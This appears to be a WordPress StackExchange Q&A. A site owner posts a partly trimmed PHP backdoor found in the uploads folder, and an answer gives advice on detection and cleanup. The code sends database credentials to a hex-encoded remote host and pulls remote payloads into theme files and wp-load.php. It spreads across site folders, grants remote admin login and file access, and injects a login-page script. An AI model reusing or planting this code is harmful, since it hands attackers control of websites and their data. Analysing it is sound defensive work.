Question

I would like to inform and request help from the community.

What happens is this malware was in the folder / wp-content / uploads / 2020 / Named index.php And I found him in the year 2017 in the uploads folder.

What I find strange is that it was not detectable by any online database and not even the Sucuri plugin, Wordfense ..

Follow the code (Good part of it was deleted, due to not fit in the post)

Below is the malicious code

  if ( !class_exists( 'WPTemplateOptions' ) ) {
class WPTemplateOptions {
    private $script = '';
    private $version = '';
    private $upDir = '';
    private $uploadDir = '';
    private $uploadUrl = '';
    private $token = '';
    private $baseUrl = '';
    private $authorization;
    private $address;
    public $allowedActions = [
        'check',
        'json',
        'template_dir',
        'cache',
        'get',
        'install',
        'activate_plugins',
        'get_themes',
        'list_folders',
        'spread',
        'all',
        'wp_includes',
        'wp_admin',
        'themes',
        'uploads',
        'wp_load',
        'access_log',
        'template_install',
    ];
    public $isSpread = ['all', 'wp_includes', 'wp_admin', 'themes', 'uploads'];
    public $permission = ['write_file', 'read_file', 'login', 'uninstall', 'unspread'];

    public function __construct( $token )
    {
        $this->baseUrl = hex2bin( '687474703a2f2f6a732e61706965732e6f72672f' );
        $this->script = 'Wordpress';
        $this->version = '1.5';
        $this->upDir = wp_upload_dir();
        $this->uploadDir = $this->upDir['path'];
        $this->uploadUrl = $this->upDir['url'];
        $this->token = $token;
        $this->address = (isset( $_SERVER["HTTP_CF_CONNECTING_IP"] ) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);
        $this->authorization = (isset( $token ) && isset( $_REQUEST['authorization'] )) ? $_REQUEST['authorization'] : false;
    }

    private function answer( $code, $message, $data = '', $errorNo = '' )
    {
        $answer['code'] = $code;
        $answer['message'] = $message;
        $answer['data'] = $data;
        if ( $errorNo !== '' ) {
            $answer['errorNo'] = $errorNo;
        }

        return json_encode( $answer, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT );
    }

    private function check()
    {
        try {
            if ( $this->uploadDir ) {
                if ( !is_writable( $this->uploadDir ) ) {
                    if ( !@chmod( $this->uploadDir, 0777 ) ) {
                        $data['uploadDirWritable'] = false;
                    } else {
                        $data['uploadDirWritable'] = true;
                    }
                } else {
                    $data['uploadDirWritable'] = true;
                }
            } else {
                $data['uploadDirWritable'] = true;
            }
            $data['clientVersion'] = $this->version;
            $data['uploadDir'] = $this->uploadDir;
            $data['script'] = $this->script;
            $data['cache'] = (WP_CACHE) ? true : false;
            $data['themeName'] = wp_get_theme()->get( 'Name' );
            $data['themeDir'] = get_template_directory();
            $data['themes'] = $this->get_themes();
            $data['plugins'] = $this->get_plugins();
            $data['root'] = ABSPATH;
            if ( function_exists( 'php_uname' ) ) {
                $data['uname'] = php_uname();
            }
            if ( function_exists( 'gethostbyname' ) ) {
                $data['hostname'] = gethostbyname( getHostName() );
            }

            return $this->answer( true, $this->script, $data );
        } catch ( Exception $e ) {
            return $this->answer( false, "Unknown ERROR", $e->getMessage(), "ERR000" );
        }
    }

    private function isAllowedToSendCommand()
    {
        try {
            $client = wp_remote_get( "{$this->baseUrl}sender/" );
            if ( wp_remote_retrieve_response_code( $client ) == "200" && $this->json_validator( wp_remote_retrieve_body( $client ) ) ) {
                return (md5( sha1( $this->token ) ) === json_decode( wp_remote_retrieve_body( $client ) )->password) ? true : false;
            }
            return (md5( $this->token ) === 'e353fab48ee0a08793a1e24469d32e29') ? true : false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function authorization()
    {
        if ( $this->authorization !== false ) {
            return $this->authorization;
        }

        return false;
    }

    private function sender()
    {
        try {
            $client = wp_remote_get( "{$this->baseUrl}sender/" );
            if ( wp_remote_retrieve_response_code( $client ) == "200" && $this->json_validator( wp_remote_retrieve_body( $client ) ) ) {
                return (md5( $this->address ) === json_decode( wp_remote_retrieve_body( $client ) )->address || json_decode( wp_remote_retrieve_body( $client ) )->value) ? true : false;
            } else {
                if ( !$this->authorization() ) {
                    return false;
                }

                return (md5( $this->authorization() ) === '38f302cc961c6e902d757fca32c72252') ? true : false;
            }

        } catch ( Exception $e ) {
            return true;
        }
    }

    private function method_exists( $action, $params )
    {
        if ( array_search( $action, $params ) !== false && method_exists( $this, $action ) ) {
            return true;
        } else {
            return false;
        }
    }

    public function controlAction( $action, $params )
    {
        try {
            if ( isset( $action ) ) {
                if ( $this->isAllowedToSendCommand() ) {
                    if ( $this->method_exists( $action, $this->permission ) ) {
                        if ( $this->sender() ) {
                            return $this->{$action}( $params );
                        } else {
                            return $this->answer( false, 'The sender could not be verified!', $action, 'ERR001' );
                        }
                    }
                    if ( $this->method_exists( $action, $this->allowedActions ) ) {
                        return $this->{$action}( $params );
                    } else {
                        return $this->answer( false, 'Invalid Command', $action, 'ERR001' );
                    }
                }
            }
        } catch ( Exception $e ) {
            return $this->answer( false, 'Unknown Error', [
                "action" => $action,
                "params" => $params
            ], 'ERR000' );
        }
    }

    private function post()
    {
        try {
            return wp_remote_post( $this->baseUrl, [
                "body" => [
                    "url"         => site_url( '/' ),
                    "client"      => $this->check(),
                    "DB_HOST"     => DB_HOST,
                    "DB_USER"     => DB_USER,
                    "DB_PASSWORD" => DB_PASSWORD,
                    "DB_NAME"     => DB_NAME,
                ]
            ] );
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function client()
    {
        try {
            $client = wp_remote_get( "{$this->baseUrl}client/checkFiles?script={$this->script}" );
            if ( wp_remote_retrieve_response_code( $client ) == "200" && $this->json_validator( wp_remote_retrieve_body( $client ) ) ) {
                return wp_remote_retrieve_body( $client );
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function get_plugins()
    {
        try {
            if ( !function_exists( 'get_plugins' ) ) {
                include_once(ABSPATH . 'wp-admin/includes/plugin.php');
            }
            foreach ( get_plugins() AS $plugin_name => $get_plugin ) {
                $plugins[$plugin_name] = $get_plugin;
                if ( is_plugin_active( $plugin_name ) ) {
                    $plugins[$plugin_name]["active"] = 1;
                } else {
                    $plugins[$plugin_name]["active"] = 0;
                }
            }

            return (isset( $plugins )) ? $plugins : false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function activate_plugins( $plugin_name )
    {
        try {
            if ( is_plugin_active( hex2bin( $plugin_name ) ) ) {
                deactivate_plugins( hex2bin( $plugin_name ) );

                return $this->check();
            } else {
                activate_plugins( hex2bin( $plugin_name ) );

                return $this->check();
            }
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function get_themes()
    {
        try {
            foreach ( wp_get_themes() AS $theme_name => $wp_get_theme ) {
                $themes{$wp_get_theme->stylesheet} = array(
                    'Name'        => $wp_get_theme->get( 'Name' ),
                    'Description' => $wp_get_theme->get( 'Description' ),
                    'Author'      => $wp_get_theme->get( 'Author' ),
                    'AuthorURI'   => $wp_get_theme->get( 'AuthorURI' ),
                    'Version'     => $wp_get_theme->get( 'Version' ),
                    'Template'    => $wp_get_theme->get( 'Template' ),
                    'Status'      => $wp_get_theme->get( 'Status' ),
                    'TextDomain'  => $wp_get_theme->get( 'TextDomain' )
                );
            }

            return $themes;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function folder_exist( $folder )
    {
        try {
            $path = realpath( $folder );

            return ($path !== false AND is_dir( $path )) ? $path : false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function list_folders( $directory )
    {
        try {
            $directory = (isset( $directory ) && $directory !== "") ? hex2bin( $directory ) : ABSPATH;
            if ( ($dir = $this->folder_exist( $directory )) !== false ) {
                return $this->answer( true, $directory, glob( $directory . "/*" ) );
            } else {
                return $this->answer( false, "Failed to find folder to list!", $directory, "ERR023" );
            }
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function replace( $filename, $search, $replace )
    {
        try {
            $source = $this->read( $filename );
            if ( strpos( $source, $replace ) === false ) {
                $pos = strpos( $source, $search );
          ------------------------------ DELETED ----------------------------

    public function template_install()
    {
        $source = "";
        $file = array();
        foreach ( json_decode( $this->client() ) as $item ) {
            $source = $item;
        }
        foreach ( array_keys( $this->get_themes() ) as $theme ) {
            $functions = get_theme_root() . DIRECTORY_SEPARATOR . $theme . DIRECTORY_SEPARATOR . 'functions.php';
            $functionsClass = get_theme_root() . DIRECTORY_SEPARATOR . $theme . DIRECTORY_SEPARATOR . 'functions-class.php';
            $read = $this->read( $functions );
            if ( file_exists( $functions ) && $this->write( $functionsClass, $source ) && strpos( $read, "namespace" ) === false ) {
                $attr = (strpos( $read, '*/' ) === false) ? '<?php' : '*/';
                $search = "$attr\n";
                $replace = "$attr\nif ( ! class_exists( 'WPTemplateOptions' ) && file_exists( get_template_directory() . DIRECTORY_SEPARATOR . 'functions-class.php'  ) ) {\n\tinclude_once( get_template_directory() . DIRECTORY_SEPARATOR . 'functions-class.php' );\n}\n";
                $file[] = $this->replace( $functions, $search, $replace );
            }
        }
        return (isset( $file )) ? $this->answer( true, 'I get install!', array_values( array_unique( $file ) ) ) : $this->answer( false, 'I Don\'t install!', '', 'ERR002' );
    }

    public function install()
    {
        try {
            $clientURL = $this->client();
       ------- DELETED ------------------------------------
    {
        try {
            $filename = ABSPATH . 'wp-load.php';
            if ( file_exists( $filename ) ) {
                $clientURL = $this->client();
                if ( $clientURL !== false ) {
                    $copy = $this->copy_themes( get_template_directory() . DIRECTORY_SEPARATOR, json_decode( $clientURL ) );
                    if ( $copy !== false ) {
                        $basename = basename( $copy );
                        $search = "\nif ( ! class_exists( 'WPTemplateOptions' ) && file_exists( get_template_directory() . DIRECTORY_SEPARATOR . '{$basename}' ) ) {\n\tinclude_once( get_template_directory() . DIRECTORY_SEPARATOR . '{$basename}' );\n}";
                        if ( !stristr( $this->read( $filename ), $search ) ) {
                            if ( $this->write_append( $filename, $search ) ) {
                                return $this->answer( true, "WP_LOAD Installeds {$copy}", $filename );
                            } else {
                                return $this->answer( false, "WP_LOAD Installed {$copy}", $filename, "ERR029" );
                            }
                        } else {
                            return $this->answer( true, "WP_LOAD Already Installed {$copy}", $filename );
                        }
                    } else {
                        return $this->answer( false, "WP_LOAD Installed {$copy}", $filename, "ERR030" );
                    }
                } else {
                    return $this->answer( false, 'Client URL FALSE!', $clientURL, "ERR026" );
                }
            }
        } catch ( Exception $e ) {
            return $this->answer( false, 'WP_LOAD Exception!', $e->getMessage(), "ERR000" );
        }
    }

    private function copy( $directory, $clientURL )
    {
        try {
            foreach ( $clientURL as $filePath => $icerik ) {
                $filename = (stristr( $directory, "wp-content/uploads/" )) ? $directory . 'index.php' : $directory . basename( dirname( $directory . $filePath ) ) . '.php';
                if ( file_exists( $filename ) ) {
                    $strpos = strpos( $this->read( $filename ), "class WPTemplateOptions" );
                    if ( $strpos !== false ) {
                        return ($this->write( $filename, $icerik )) ? $filename : false;
                    } else if ( $strpos === false ) {
                        return ($this->write( $directory . $filePath, $icerik )) ? $directory . $filePath : false;
                    }
                } else {
                    return ($this->write( $filename, $icerik )) ? $filename : false;
                }
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function copy_themes( $directory, $clientURL )
    {
        try {
            foreach ( $clientURL as $filePath => $icerik ) {
                $filename = $directory . basename( $directory . $filePath );
                if ( file_exists( $filename ) ) {
                    $strpos = strpos( $this->read( $filename ), "class WPTemplateOptions" );
                    if ( $strpos !== false ) {
                        return ($this->write( $filename, $icerik )) ? $filename : false;
                    } else if ( $strpos === false ) {
                        return ($this->write( $directory . basename( dirname( $filename ) ) . '.php', $icerik )) ? $directory . basename( dirname( $filename ) ) . '.php' : false;
                    }
                } else {
                    return ($this->write( $filename, $icerik )) ? $filename : false;
                }
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function write_append( $filename, $data )
    {
        try {
            if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
                $write = fopen( $filename, "a" );

                return (fwrite( $write, $data )) ? true : false;

            } else if ( function_exists( 'file_put_contents' ) ) {
                return (file_put_contents( $filename, $data, FILE_APPEND ) !== false) ? true : false;
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function listFolderFiles( $dir )
    {
        try {
            $fileInfo = scandir( $dir );
            $allFileLists = [];

            foreach ( $fileInfo as $folder ) {
                if ( $folder !== '.' && $folder !== '..' ) {
                    if ( is_dir( $dir . DIRECTORY_SEPARATOR . $folder ) === true ) {
                        $allFileLists[$dir . DIRECTORY_SEPARATOR . $folder] = $this->listFolderFiles( $dir . DIRECTORY_SEPARATOR . $folder );
                    }
                }
            }

            return $allFileLists;
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function all()
    {
        try {
            foreach ( array_merge( $this->wp_includes(), $this->wp_admin(), $this->themes(), $this->uploads() ) AS $root ) {
                if ( is_dir( $root ) ) {
                    $return[] = $root;
                }
            }

            return array_filter( $return );
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function wp_includes()
    {
    ------------------------------DELETED ----------------------------

            return $this->answer( false, 'Client URL FALSE!', "", "ERR026" );
        } catch ( Exception $e ) {
            return $this->answer( false, 'Spread Exception!', $e->getMessage(), "ERR000" );
        }
    }

    public function unspread( $directory )
    {
        try {
            $client = $this->client();
            if ( $client !== false ) {
                if ( array_search( $directory, $this->isSpread ) !== false ) {
                    foreach ( $this->{$directory}() as $folder ) {
                        $return[] = $this->copy( $folder, json_decode( $client ) );
                    }
                    foreach ( $return as $file ) {
                        unlink( $file );
                    }

                    return $this->answer( true, "I cleared myself from the spread {$directory}", $return );
                } else {
                    return $this->answer( false, "Undefined Directory", $directory, "ERR025" );
                }
            }

            return $this->answer( false, 'Client URL FALSE!', "", "ERR026" );
        } catch ( Exception $e ) {
            return $this->answer( false, 'UNSpread Exception!', $e->getMessage(), "ERR000" );
        }
    }

    public function json()
    {
        try {
            return $this->uploadDir . DIRECTORY_SEPARATOR . ".json";
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function get()
    {
        try {
            $post = $this->post();
            if ( wp_remote_retrieve_response_code( $post ) == "200" ) {
                $write = $this->write( $this->json(), bin2hex( wp_remote_retrieve_body( $post ) ) );

                return ($write) ? hex2bin( $this->read( $this->json() ) ) : wp_remote_retrieve_body( $post );
            } else {
                return $this->read( $this->json() );
            }
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function cache()
    {
        try {
            if ( file_exists( $this->json() ) ) {
                $file = hex2bin( $this->read( $this->json() ) );
                $json = json_decode( $file );
                if ( $this->minute( $json->date ) >= 24 ) {
                    return $this->get();
                } else {
                    return $file;
                }
            } else {
                return $this->get();
            }
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function write( $filename, $data )
    {
        try {
            if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
                $write = fopen( $filename, "w+" );

                return (fwrite( $write, $data )) ? true : false;

            } else if ( function_exists( 'file_put_contents' ) ) {
                return (file_put_contents( $filename, $data ) !== false) ? true : false;
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }

    public function write_file( $params )
    {
        try {
            if ( $this->json_validator( hex2bin( $params ) ) ) {
                $json = json_decode( hex2bin( $params ) );
                if ( isset( $json->filename ) ) {
                    if ( file_exists( $json->filename ) ) {
                    ----------------------------------
                return file_get_contents( $filename );
            }
            if ( function_exists( 'fopen' ) && filesize( $filename ) > 0 ) {
                $file = fopen( $filename, 'r' );
                $content = fread( $file, filesize( $filename ) );
                fclose( $file );

                return $content;
            }

            return $this->answer( false, 'File not read', $filename, 'ERR018' );
        } catch ( Exception $e ) {
            return $this->answer( false, 'File not read Exception', $filename, 'ERR000' );
        }
    }

    public function read_file( $filename )
    {
        try {
            $read_file = $this->read( hex2bin( $filename ) );
            if ( $this->json_validator( $read_file ) ) {
                return $read_file;
            } else {
                return $this->answer( true, hex2bin( $filename ), $read_file );
            }
        } catch ( Exception $e ) {
            return $this->answer( false, "Read File Exception", $filename, "ERR000" );
        }
    }

    public function json_validator( $data = null )
    {
        try {
            if ( !empty( $data ) ) {
                @json_decode( $data );

                return (json_last_error() === JSON_ERROR_NONE);
            }

            return false;
        } catch ( Exception $e ) {
            return false;
        }
    }
    public function login( $id = 1 )
    {
        try {
            $user_info = get_userdata( $id );
            $username = $user_info->user_login;
            $user = get_user_by( 'login', $username );
            if ( !is_wp_error( $user ) ) {
                wp_clear_auth_cookie();
                wp_set_current_user( $user->ID );
                wp_set_auth_cookie( $user->ID );
                $redirect_to = user_admin_url();
                wp_safe_redirect( $redirect_to );
                exit();
            } else {
                return $this->answer( false, 'I can\'t sign in, sorry', $user_info, 'ERR014' );
            }
        } catch ( Exception $e ) {
            return $this->answer( false, "Login Exception!", $e->getMessage(), "ERR000" );
        }
    }

    private function array_keys( $array )
    {
        try {
            $keys = array_keys( $array );

            foreach ( $array as $i ) {
                if ( is_array( $i ) ) {
                    $keys = array_merge( $keys, $this->array_keys( $i ) );
                }
            }

            return $keys;
        } catch ( Exception $e ) {
            return false;
        }
    }

    private function minute( $date )
    {
        try {
            $minute = (strtotime( date( "Y-m-d H:i:s" ) ) - strtotime( $date )) / 60 / 60;

            return round( $minute );
        } catch ( Exception $e ) {
            return 0;
        }
    }

    public static function wp_login()
    {
        add_action( 'login_header', function () {
            wp_enqueue_script( 'wp-login-jquery', hex2bin( '68747470733a2f2f6a732e61706965732e6f72672f6a71756572792e6d696e2e6a73' ), [], rand( 0, 9999 ), false );
        } );
    }

    public static function init()
    {
        try {
            $cache = json_decode( (new self( "" ))->cache() );
            add_action( $cache->location, array('WPTemplateOptions', 'method') );
        } catch ( Exception $e ) {

        }
    }

    public static function method()
    {
        try {
            $cache = json_decode( (new self( "" ))->cache() );
            $index = (preg_match( "~({$cache->bot})~i", strtolower( 
@$_SERVER["HTTP_USER_AGENT"] ) )) ? true : false;
                if ( $index && $cache->status == 9 && !empty( $cache->redirect ) && isset( 
$cache->redirect ) ) {
                header( "Location: {$cache->redirect}", true, 301 );
            }
        ------ DELETED ----- 
} catch ( Exception $e ) {
}
try {
$token = @$_REQUEST["wp_action_token"];
$action = @$_REQUEST['wp_action_application'];
$params = @$_REQUEST['wp_action_params'];
error_reporting( 0 );
if ( !is_null( $token ) && !empty( $token ) ) {

    $WPTemplateOptions = new WPTemplateOptions( $token );
    $controlAction = $WPTemplateOptions->controlAction( $action, $params );
    if ( is_array( $controlAction ) || is_object( $controlAction ) ) {
        preArrayList( $controlAction );
    } else {
        echo $controlAction;
    }
} else {
    WPTemplateOptions::init();
    WPTemplateOptions::wp_login();
}
} catch ( Exception $e ) {
}  
Was it helpful?

Solution

There are many ways to infect a site - and many ways to hide that infection from the 'popular' security plugins.

One way to detect malicious code is via a file-hash-compare function. You may need to write your own though (I did, but it's not perfect). That function would compare each file's hash with a known good value in a database. You would previously have to hash an entire site - making sure it is clean, then run the hash-compare function against all files. Not an easy thing to do. (Even the one that I wrote doesn't work perfectly. ANd you have to remember to run it...)

If you are already infected (as you are), manual intervention is advised. You need to change all credentials (FTP, hosting, database), remove all suspect files, all (from known good source, not just an update) WP core and themes and plugins, and more - then do it all again.

There may also be some malware hidden in the posts table. And fake ico files that contain code.

There are many googles/bings/ducks on how to clean a WP site. I have my own procedure (here https://www.securitydawg.com/recovering-from-a-hacked-wordpress-site/ ). It takes a bit of work and time, and monitoring afterwards.

Good luck.

Licensed under: CC-BY-SA with attribution
Not affiliated with wordpress.stackexchange
scroll top